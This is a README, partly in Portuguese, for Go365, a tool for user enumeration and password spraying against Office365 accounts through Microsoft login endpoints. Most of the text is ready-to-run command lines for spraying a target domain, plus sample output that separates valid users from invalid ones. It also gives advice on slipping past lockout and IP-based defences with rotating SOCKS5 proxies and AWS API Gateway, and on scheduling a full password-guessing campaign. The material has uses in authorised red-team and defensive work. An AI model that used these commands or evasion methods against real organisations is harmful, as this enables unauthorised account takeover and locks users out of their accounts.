
Uma ferramenta de ataque a usuários do Office365
Por favor, leia todo este README antes de usar o Go365!
Go365 é uma ferramenta projetada para realizar enumeração de usuários* e ataques de adivinhação de senhas em organizações que usam Office365 (agora/em breve Microsoft365). Go365 usa um endpoint único da API SOAP em login.microsoftonline.com que a maioria das outras ferramentas não usa. Quando consultado com um endereço de e-mail e senha, o endpoint responde com um código de Autenticação e Autorização do Azure AD. Esse código é então processado pelo Go365 e o resultado é exibido na tela ou em um arquivo de saída.
* A enumeração de usuários é realizada em conjunto com uma tentativa de adivinhação de senha. Portanto, não há uma flag ou funcionalidade específica para realizar apenas a enumeração de usuários. Em vez disso, realize seu primeiro ataque de adivinhação de senha e então analise os resultados para encontrar usuários válidos.
Baixe um binário pré-compilado para seu SO AQUI.
Baixe o código-fonte e compile localmente.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Shows this stuff
Required - Endpoint:
-endpoint [rst or graph] Specify which endpoint to use
: (-endpoint rst) *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
Required - Usernames and Passwords:
-u <string> Single username to test
: Username with or without "@domain.com"
: Must also provide -d flag to specify the domain
: (-u [email protected])
-ul <file> Username list to use (overrides -u)
: File should contain one username per line
: Usernames can have "@domain.com"
: If no domain is specified, the -d domain is used
: (-ul ./usernamelist.txt)
-p <string> Password to attempt
: Enclose in single quotes if it contains special characters
: (-p password123) or (-p 'p@s$w0|2d')
-pl <file> Password list to use (overrides -p)
: File should contain one password per line
: -delay flag can be used to include a pause between each set of attempts
: (-pl ./passwordlist.txt)
-up <file> Userpass list to use (overrides all the above options)
: One username and password separated by a ":" per line
: Be careful of duplicate usernames!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Domain to test
: Use this if the username or username list does not include "@targetcompany.com"
: (-d targetcompany.com)
Optional:
-w <int> Time to wait between attempts in seconds.
: Default: 1 second. 5 seconds recommended.
: (-w 10)
-delay <int> Delay (in seconds) between sprays when using a password list.
: Default: 60 minutes (3600 seconds) recommended.
: (-delay 7200)
-o <string> Output file to write to
: Will append if file exists, otherwise a file is created
: (-o ./Go365output.out)
-proxy <string> Single SOCKS5 proxy server to use
: IP address and Port separated by a ":"
: SOCKS5 proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> A file with a list of SOCKS5 proxy servers to use
: IP address and Port separated by a ":" on each line
: Randomly selects a proxy server to use before each request
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint to send requests to
: Amazon API Gateway 'Invoke URL'
: Highly recommended that you use this option. Google it, or
: check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug mode.
: Print xml response
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.
dica profissional: Você provavelmente não está realmente bloqueando contas.
Após um certo número de consultas contra um domínio alvo, os resultados podem começar a reportar que as contas estão bloqueadas.
Uma vez que essa defesa é acionada, a enumeração de usuários se torna não confiável, pois requisições para usuários válidos e inválidos reportarão aleatoriamente que suas contas foram bloqueadas.
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
Este é um mecanismo defensivo acionado pelo número de consultas de usuários válidos contra o domínio alvo dentro de um certo período de tempo. O número de tentativas e o período de tempo variarão dependendo do domínio alvo, pois os limites podem ser personalizados pela organização alvo.
O mecanismo defensivo é baseado em tempo e endereço IP. Go365 oferece opções para incluir um tempo de espera entre as requisições e opções de proxy para distribuir a origem das requisições. Para contornar os mecanismos defensivos em seu domínio alvo, use um tempo de espera longo e vários servidores proxy.
Recomenda-se um tempo de espera de PELO MENOS 15 segundos. -w 15
Se você ainda receber respostas de "conta bloqueada", comece a usar proxies em suas requisições. As opções de proxy foram testadas apenas em proxies dinâmicos SSH SOCKS5 (ssh -D <port> user@proxyserver)
Crie vários proxies SOCKS5 no DO, AWS, Vultr ou qualquer outro e crie um arquivo que se pareça com isso:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
A ferramenta irá iterar aleatoriamente pelos servidores proxy fornecidos e esperar o tempo especificado entre as requisições.
-w 15 -proxyfile ./proxies.txt
Além disso, uma URL de endpoint pode ser especificada para que esta ferramenta possa interagir com o Amazon API Gateway. Configure um gateway para apontar para o endpoint https://login.microsoftonline.com/rst2.srf, então defina o parâmetro -url para a Invoke URL fornecida. Seu IP deve ser rotacionado a cada requisição.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login